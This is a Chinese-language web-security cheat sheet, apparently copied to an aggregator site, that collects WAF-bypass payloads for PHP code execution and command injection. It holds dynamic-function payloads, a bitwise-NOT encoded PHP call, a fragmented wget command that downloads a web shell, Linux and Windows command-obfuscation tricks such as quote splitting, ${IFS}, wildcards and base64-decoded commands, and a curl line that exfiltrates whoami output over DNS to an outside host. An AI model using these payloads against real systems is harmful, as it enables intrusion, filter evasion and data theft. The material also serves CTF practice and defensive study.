微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

[web安全]命令执行&&代码执行 wafpass总结

命令执行&&代码执行 wafpass总结

代码执行

  1. PHP常见命令执行函数

     PHP代码
     	eval()
     	assert()
     	preg_replace
     	call_user_func()
     	call_user_func_array()
     	create_function
     	array_map()
     系统命令代码
     	system()
     	passthru()
     	exec()
     	pcntl_exec()
    	shell_exec()
     	popen()
     	proc_open()
        ``
        ob_start()
    
  2. PHP的动态执行

    cmd=$_GET[func]($_GET[shell])&func=system&shell=cat flag
    $e='sys'.'tem';$e('cat flag');
    
  3. disable_function绕过

    1.ld_preload
    2.PHP_gc
    
  4. 无字母getshell

    取反~?code=(~%8f%97%8f%96%91%99%90)()//PHPinfo()
    
  5. 限制输入字符数

    >wget\\
    >域名.\\
    >com\\
    >-O\\
    >she\\
    >ll.p\\
    >p
    ls -t>a
    sh a
    

命令执行

  • linux中有查看功能的命令

    cat、tac、more、less、head、tail、nl、
    sed、sort、uniq、rev、vi、vim、od(以二进制的方式读取档案内容)
    
  • windows

    1. windows下 “和^和()不会影响命令执行
    2.切割字符 %a:~0,3% 代表变量a 0-3个字符
    eg.  
    set a=asdfghj 
    who$a:~0,1%mi <=> whoami
    
  • 通配

    linux windows
    常见:
    * :0-多 
    ? :1
    [abc] :abc 
    [a-c] :abc
    [^abc]:没有abc
    来了:
    cat f[abc]lag
    cat f[a-z]lag
    cat fla*
    
  • 字符拼接

    双引号:"w"h"o"a"m"i   		    linux windows
    单引号: 'w'ho'am'i				linux
    反斜杠\: who\ami cat\flag 		linux
    重定向: cat<>flag cat<flag 	linux
    大括号: {cat,flag}				linux
    变量:	a=l;b=s;$a$b;			 linux
    变量:set a=di&&set b=r&& %a%%b% windows
    骚操作: 
    1.	666`whoami`666  => bash: 666root666:未找到命令
    2.	who`asd`am`sss`i => 
    bash: ssd:未找到命令
    bash: sss:未找到命令
    root
    
  • 变量

    保留变量名 无意义变量$+123456789	${IFS} ${IFS}$9 	
    cat${IFS}flag		linux
    
  • 编码

    echo d2hvYW1pCg== | base64 -d //执行whoami  -d 意思是decode  linux
    windows可以使用powershell base64
    
  • &,&&,|,||在windows和linux中的区别

    &	linux:后台运行 windows: 1 2 同时执行
    1&&2	linux windows:1无错误运行2
    |	linux windows:上一条命令的输出,作为下一条命令参数(输入)
    1||2	linux windows:1有错误运行2
    
  • 一句话反弹shel

    linux各种一句话反弹shell总结

    Windows下反弹shell的方法

  • DNS

    
    curl xxxx.ceye.io/`whoami`
    
  • 借他文之手来获取字符

    借助已有的字符进行拼接
    
  • 利用Linux的环境变量

    echo ${PATH}   => 	/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    echo ${PATH:1:1} =>	u
    

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐